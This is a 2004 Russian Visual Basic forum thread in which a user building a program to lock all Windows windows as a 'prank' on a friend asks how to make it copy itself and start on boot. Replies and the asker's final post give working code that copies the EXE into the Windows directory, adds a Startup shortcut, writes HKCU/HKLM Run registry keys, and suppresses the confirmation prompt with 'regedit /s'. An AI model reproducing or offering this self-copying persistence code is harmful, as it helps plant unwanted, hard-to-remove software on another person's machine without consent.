Как сделать так, чтобы программа создавла свои копии

Программирование на Visual Basic, главный форум. Обсуждение тем программирования на VB 1—6.
Даже если вы плохо разбираетесь в VB и программировании вообще — тут вам помогут. В разумных пределах, конечно.
Правила форума
Темы, в которых будет сначала написано «что нужно сделать», а затем просьба «помогите», будут закрыты.
Читайте требования к создаваемым темам.
HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Как сделать так, чтобы программа создавла свои копии

Сообщение HugoFlex » 27.10.2004 (Ср) 6:49

Ответье пожалуйста на такой вопрос. Вот я делаю программу чтобы блокировала все окна WINDOWS (хочу сделать своему другу прикол :twisted: ), как мне сделать так чтобы эта программа создавала свои копии в определенном месте, так же я хочу к этой копии создать ярлык в автозагрузке через реестер :?:

GM
programador
programador
 
Сообщения: 1427
Зарегистрирован: 24.06.2003 (Вт) 15:56
Откуда: 194.67.52.100

Сообщение GM » 27.10.2004 (Ср) 7:27

Вот так:
Код: Выделить всё
Dim src As String
Dim dest As String
If App.Path <> Environ("windir") Then
src = App.Path & IIf(Right(App.Path, 1) = "\", "", "\") & App.EXEName & ".exe"
dest = Environ("windir") & "\" & App.EXEName & ".exe"
FileCopy src, dest
'FileCopy src, "определенное место"
Call fCreateShellLink("Startup" & vbNullChar, "Program", dest, vbNullString & vbNullChar, True, "$(Programs)")
End If
الفيجوال بيسك الرابح

Oxygen
Белая и пушистая
Белая и пушистая
Аватара пользователя
 
Сообщения: 1314
Зарегистрирован: 15.07.2003 (Вт) 7:14
Откуда: Москва

Сообщение Oxygen » 27.10.2004 (Ср) 7:59

А вообще, для создания ключа в реестре есть такая функция UpdateKey.
Процедура клонирования завершена.
Коррекция имплантированного сознания соответствует принятым алгоритмам.
Уникальный идентификатор скопирован в чип временного паспорта.
Активация прав гражданина ожидается в течение 24 часов

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 27.10.2004 (Ср) 16:54

Мне не нравится :x как ведет себя fCreatShellLink, он создает ярлык но когда программу заново запускаю он удаляется.
Я его обьявлял в API так:
    Private Declare Function fCreateShellLink Lib "VB5STKIT.DLL" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As Long
Вызвал я его следующим образом:
    Ret=fCreateShellLink("..\..\Главное меню\Программы\Автозагрузка", App.EXEName, dest, "")
Так что вызвать процедуру как описал GM:
    fCreateShellLink("Startup" & vbNullChar, "Program", dest, vbNullString
я не стал :cry: (не знаю как он обьявил).


А как UpdateKey в коде реализовать :?:

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 28.10.2004 (Чт) 19:08

Ответьте пожалуйста, почему fCreatShellLink иногда сробатывает, а иногда нет.
Или нет ли другой способ создания ярлыка?
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

GSerg
Шаман
Шаман
 
Сообщения: 14286
Зарегистрирован: 14.12.2002 (Сб) 5:25
Откуда: Магадан

Сообщение GSerg » 28.10.2004 (Чт) 19:20

Как только вы переберёте все варианты решения и не найдёте нужного, тут же обнаружится решение, простое и очевидное для всех, кроме вас

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 29.10.2004 (Пт) 5:00

Я что то не понял. Зачем мне эта ссылка там говорится совсем о другом ShellLink. А мне надо именно тот, который работает c иконками.
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.

Sedge
Alternative Choice
Alternative Choice
Аватара пользователя
 
Сообщения: 1049
Зарегистрирован: 16.05.2002 (Чт) 18:23
Откуда: Somewhere-In-The-Net

Сообщение Sedge » 29.10.2004 (Пт) 9:57

Автозагрузку можно сделать проще. Создаешь из кода файл с именем, допустим, autorun.reg, содержащий (для XP/2000):
Код: Выделить всё
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"MyProg"="C:\Winnt\myprog.exe"

Потом в коде скармливаешь ShellExecute строку
Код: Выделить всё
regedit /s autorun.reg

Ключ /s - для того, чтобы не выводился запрос на подтверждение импорта данных в реестр.
Код: Выделить всё
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal _
  lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

HugoFlex
Новичок
Новичок
Аватара пользователя
 
Сообщения: 39
Зарегистрирован: 22.10.2004 (Пт) 21:31
Откуда: от верблюда

Сообщение HugoFlex » 30.10.2004 (Сб) 6:52

Я уже нашел ответ к своему вопросу.
Код: Выделить всё
If App.Path <> Environ("windir") Then

        src = App.Path & IIf(Right(App.Path, 1) = "\", "", "\") & App.EXEName & ".exe"
        dest = Environ("windir") & "\" & App.EXEName & ".exe"
        FileCopy src, dest
 
        Set Reg = CreateObject("WScript.Shell")
        Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Project1", Environ("windir") & "\" & dest
  End If

И не надо никаких autorun.reg, либо UpdateKey. Все быстро и просто
Читай не затем, чтобы противоречить и опровергать, не затем, чтобы принимать на веру и не затем, чтобы найти предмет для беседы, но чтобы мыслить, рассуждать и мечтать.


Вернуться в Visual Basic 1–6

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 7

    TopList